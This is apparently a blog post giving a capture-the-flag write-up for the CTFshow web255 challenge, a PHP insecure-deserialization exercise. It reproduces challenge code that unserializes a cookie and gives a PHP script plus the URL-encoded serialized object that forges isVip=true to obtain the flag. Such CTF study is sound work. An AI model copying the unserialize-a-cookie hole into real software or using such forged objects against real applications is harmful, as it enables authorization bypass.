4. CTFshow 反序列化 web255

一、源码

<?php


error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){  
        return $this->isVip;  # 4.1 checkVip函数返回的为“假”,这里只要将$isVip=true设置成真即可。
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;  # 3.1 username和u、password和p相等即可。
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){     # 1. 判断username和password是否有值。
    $user = unserialize($_COOKIE['user']);    # 2. 反序列化cookie里的user 。
    if($user->login($username,$password)){    # 3. 判断user对象里的login函数是否为真。
        if($user->checkVip()){                # 4. 判断user对象里的checkVip函数是否为真。
            $user->vipOneKeyGetFlag();        # 5.1 因为checkVip函数为“假”,所以不会执行到Getflag函数。,如果为真就会执行GetFlag
        }
    }else{
        echo "no vip,no flag";
    }
}

二、解题步骤

  1. 与web254相比,本次代码里没有将$this->isVip 设置为true的代码。
  2. 所以在序列化对象的时候就将public $isVipt=true 即可。

三、payload

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

}

$user = new ctfShowUser();
echo urlencode(serialize($user));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

image

posted @ 2023-02-01 14:37  LuckMeteor  阅读(146)  评论(0编辑  收藏  举报